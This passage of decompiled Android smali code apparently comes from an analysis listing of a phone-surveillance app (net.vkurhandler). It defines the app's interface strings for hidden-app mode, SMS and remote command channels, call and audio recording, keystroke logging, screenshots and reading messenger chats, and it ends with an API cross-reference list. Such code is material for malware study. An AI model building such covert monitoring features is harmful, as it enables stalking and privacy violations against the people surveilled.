                    628invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    630iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    631const/16 v1, 0x93
                    633const-string v2, "Checking the SIM card"
                    635invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    637iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    638const/16 v1, 0x94
                    640const-string v2, "Additional settings alert when a SIM"
                    642invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    644iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    645const/16 v1, 0x95
                    647const-string v2, "Send to e-mail"
                    649invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    651iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    652const/16 v1, 0x96
                    654const-string v2, "Interval send notify"
                    656invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    658iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    659const/16 v1, 0x97
                    661const-string v2, "Sending interval data, every:"
                    663invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    665iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    666const/16 v1, 0x9e
                    668const-string v2, "Passwords"
                    670invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    672iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    673const/16 v1, 0x9f
                    675const-string v2, "Password to run the application through a set of numbers(SMS PASSWORD FOR COMMANDS), if the application is hidden,min 4 chars"
                    677invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    679iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    680const/16 v1, 0xa1
                    682const-string v2, "Call record"
                    684invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    686iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    687const/16 v1, 0xa2
                    689const-string v2, "Record mode"
                    691invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    693iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    694const/16 v1, 0xa6
                    696const-string v2, "Audio record"
                    698invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    700iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    701const/16 v1, 0xa7
                    703const-string v2, "Sending multimedia files only on WiFi"
                    705invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    707iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    708const/16 v1, 0xa8
                    710const-string v2, "Sending files"
                    712invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    714iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    715const/16 v1, 0xa9
                    717const-string v2, "Action on failed unlock"
                    719invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    721iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    722const/16 v1, 0xaa
                    724const-string v2, "Make photo"
                    726invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    728iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    729const/16 v1, 0xab
                    731const-string v2, "Number of failed unlocks"
                    733invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    735iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    736const/16 v1, 0xac
                    738const-string v2, "Phone is not supported by the application, check whether the SIM card is installed, restart your phone and try again."
                    740invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    742iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    743const/16 v1, 0xae
                    745const-string v2, "Warning!!!"
                    747invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    749iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    750const/16 v1, 0xad
                    752const-string v2, "Register GCM is not satisfied, send commands through the GCM will be impossible, but you can send commands via TCP. Check whether you are logged in Google services (Gmail, Market) and the availability of an internet connection. After these actions click in the programe - enrollment will GCM. GCM - transport to send instructions from Google. TCP - transport command from the site. Both transport are interchangeable"
                    754invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    756iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    757const/16 v1, 0xaf
                    759const-string v2, "Loading. Please wait..."
                    761invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    763iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    764const/16 v1, 0xb0
                    766const-string v2, "Application successfully installed in the system tray number for the correct application MUST RESTART THE PHONE!"
                    768invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    770iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    771const/16 v1, 0xb1
                    773const-string v2, "Failed to install the program to the system tray, check Root rights and re-launch application"
                    775invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    777iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    778const/16 v1, 0xb2
                    780const-string v2, "Assigned this SIM card"
                    782invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    784iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    785const/16 v1, 0xb3
                    787const-string v2, "\u0421\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u0437\u044b\u043a"
                    789invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    791iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    792const/16 v1, 0xb4
                    794const-string v2, "Registration in the GCM service is successful, you can now manage your phone with online "
                    796invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    798iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    799const/16 v1, 0xb5
                    801const-string v2, "Hide application"
                    803invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    805iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    806const/16 v1, 0xb6
                    808const-string v2, "Unhide application"
                    810invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    812iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    813const/16 v1, 0xb7
                    815const-string v2, "The application can only be hided from the list of shortcuts to start.To run the application from the hidden mode it is necessary to send the command to the site or the client - \"Run Application\" or through a call to the number that you can set the password to run applications (more below)."
                    817invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    819iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    820const/16 v1, 0xb8
                    822const-string v2, "Modification application"
                    824invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    826iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    827const/16 v1, 0xb9
                    829const-string v2, "Update application (Root)"
                    831invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    833iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    834const/16 v1, 0xba
                    836const-string v2, "Delete application"
                    838invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    840iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    841const/16 v1, 0xbb
                    843const-string v2, "Remove the application?"
                    845invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    847iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    848const/16 v1, 0xbc
                    850const-string v2, "Application has been successfully removed from the system tray, restart the phone"
                    852invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    854iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    855const/16 v1, 0xbd
                    857const-string v2, "Unable to remove the application, perhaps it is not installed or not installed correctly"
                    859invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    861iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    862const/16 v1, 0xbe
                    864const-string v2, "If successful, upgrading the application, the phone will reboot, update?"
                    866invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    868iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    869const/16 v1, 0xbf
                    871const-string v2, "To upgrade, you must connect the SD card"
                    873invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    875iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    876const/16 v1, 0xc0
                    878const-string v2, "You have the most recent version"
                    880invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    882iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    883const/16 v1, 0xc1
                    885const-string v2, "Unable to download the installation file"
                    887invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    889iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    890const/16 v1, 0xc2
                    892const-string v2, "Location"
                    894invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    896iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    897const/16 v1, 0xc3
                    899const-string v2, "Use GPS to locate the active screen"
                    901invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    903iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    904const/16 v1, 0xc4
                    906const-string v2, "In some countries recording telephone conversations is illegal. Please note that the other party must be notified of the fact of recording the conversation. When using the telephone recording obey the relevant laws and regulations in force in your country. All further responsibility for compliance with this law you assume."
                    908invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    910iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    911const/16 v1, 0xc5
                    913const-string v2, "Phone SIM card was successfully updated"
                    915invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    917iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    918const/16 v1, 0xc6
                    920const-string v2, "Data transmission"
                    922invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    924iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    925const/16 v1, 0xc7
                    927const-string v2, "SMS"
                    929invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    931iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    932const/16 v1, 0xc8
                    934const-string v2, "Phone calls"
                    936invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    938iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    939const/16 v1, 0xc9
                    941const-string v2, "Send location by interval,every:"
                    943invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    945iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    946const/16 v1, 0xca
                    948const-string v2, "Are you sure you want to transfer personal data?"
                    950invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    952iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    953const/16 v1, 0xcb
                    954new-instance v2, Ljava/lang/StringBuilder;
                    956const-string v3, "This application transmits sensitive information on the server side. Before using refer to the privacy police \n"
                    958invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    960sget-object v3, Lnet/vkurhandler/cd;->c:Ljava/lang/String;
                    962invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    963move-result-object v2
                    965invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    966move-result-object v2
                    968invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    970iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    971const/16 v1, 0xcc
                    973const-string v2, "Uploading data with automatic on and off the Internet according to schedule"
                    975invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    977iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    978const/16 v1, 0xcf
                    980const-string v2, "VKontakte messages (Root)"
                    982invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    984iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    985const/16 v1, 0xd0
                    987const-string v2, "WhatsApp messages (Root)"
                    989invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    991iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    992const/16 v1, 0xd1
                    994const-string v2, "Viber messages (Root)"
                    996invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    998iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    999const/16 v1, 0xd2
                    1001const-string v2, "Recording from the line, the quality is better than that of the microphone (by default it records from microphone)"
                    1003invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1005iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1006const/16 v1, 0xd3
                    1008const-string v2, "Your phone does not support the call recording source"
                    1010invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1012iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1013const/16 v1, 0xd4
                    1015const-string v2, "Codeword to send commands via SMS"
                    1017invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1019iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1020const/16 v1, 0xd5
                    1022const-string v2, "Archiving photo"
                    1024invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1026iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1027const/16 v1, 0xd6
                    1029const-string v2, "Additional service"
                    1031invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1033iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1034const/16 v1, 0xd7
                    1036const-string v2, "When service is running, the system (Android) will not stop an application in cases of lack of memory,but it will be running processes"
                    1038invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1040iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1041const/16 v1, 0xd8
                    1043const-string v2, "Run applications without requiring a password"
                    1045invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1047iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1048const/16 v1, 0xd9
                    1050const-string v2, "Split buy:"
                    1052invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1054iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1055const/16 v1, 0xda
                    1057const-string v2, "minutes"
                    1059invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1061iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1062const/16 v1, 0xdb
                    1064const-string v2, "Enable execution of screen shots over the interval (in seconds, the minimum value of 2)"
                    1066invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1068iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1069const/16 v1, 0xdc
                    1071const-string v2, "Odnoklassniki messages (Root)"
                    1073invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1075iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1076const/16 v1, 0xdd
                    1078const-string v2, "Send reply SMS to commands via SMS from another phone"
                    1080invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1082iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1083const/16 v1, 0xde
                    1085const-string v2, "Add archiving photo path"
                    1087invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1089iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1090const/16 v1, 0xdf
                    1092const-string v2, "Notify on change SIM"
                    1094invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1096iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1097const/16 v1, 0xe0
                    1099const-string v2, "24 hours"
                    1101invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1103iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1104const/16 v1, 0xe1
                    1106const-string v2, "Actions when you unlock display"
                    1108invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1110iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1111const/16 v1, 0xe2
                    1113const-string v2, "Archiving keystrokes (no password intercepts!)"
                    1115invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1117iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1118const/16 v1, 0xe4
                    1120const-string v2, "Minimum number of characters in which you send the parcel data (for each application is considered separately)"
                    1122invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1124iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1125const/16 v1, 0xe5
                    1127const-string v2, "Terms of Service"
                    1129invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1131iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1132const/16 v1, 0xe6
                    1134const-string v2, "I confirm that I put the application on my phone and I am the owner of the phone, the program is installed deliberately and without compulsion"
                    1136invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1138iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1139const/16 v1, 0xe7
                    1141const-string v2, "I am aware of the criminal responsibility for the secret surveillance of third parties"
                    1143invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1145iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1146const/16 v1, 0xe8
                    1148const-string v2, "I pledge to use the software only for personal purposes"
                    1150invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1152iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1153const/16 v1, 0xe9
                    1155const-string v2, "I have read the privacy policy of software and service, I did not have issues and I agree with all the points set out"
                    1157invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1159iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1160const/16 v1, 0xfb
                    1162const-string v2, "Send commands"
                    1164invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1166iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1167const/16 v1, 0x116
                    1169const-string v2, "For android 5 and above"
                    1171invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1173iget-object v0, p0, Lnet/vkurhandler/bg;->b:Landroid/util/SparseArray;
                    1174const/16 v1, 0x117
                    1176const-string v2, "Energy saving"
                    1178invoke-virtual {v0, v1, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                    1179return-void
                    Cross References
                    APIs
                    • android.app.ProgressDialog.<init>
                    • net.vkurhandler.SettingsActivity.aA:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setProgressStyle
                    • net.vkurhandler.SettingsActivity.aA:Landroid/app/ProgressDialog
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.ProgressDialog.setMessage
                    • net.vkurhandler.SettingsActivity.aA:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setIndeterminate
                    • net.vkurhandler.SettingsActivity.aA:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCancelable
                    • net.vkurhandler.SettingsActivity.aA:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCanceledOnTouchOutside
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.as:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.as:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.ab:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.aq:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ar:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.aq:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.ar:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.ap:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ap:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.l:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.k:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.X:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.getPackageManager
                    • net.vkurhandler.SettingsActivity.getPackageName
                    • android.content.pm.PackageManager.getPackageInfo
                    • net.vkurhandler.SettingsActivity.J:Landroid/widget/TextView
                    • java.lang.StringBuilder.<init>
                    • android.content.pm.PackageInfo.versionName:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.widget.TextView.setText
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.findViewById
                    • net.vkurhandler.SettingsActivity.U:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.V:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.W:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • android.widget.ArrayAdapter.<init>
                    • net.vkurhandler.SettingsActivity.ax:Landroid/widget/ArrayAdapter
                    • android.widget.ArrayAdapter.setDropDownViewResource
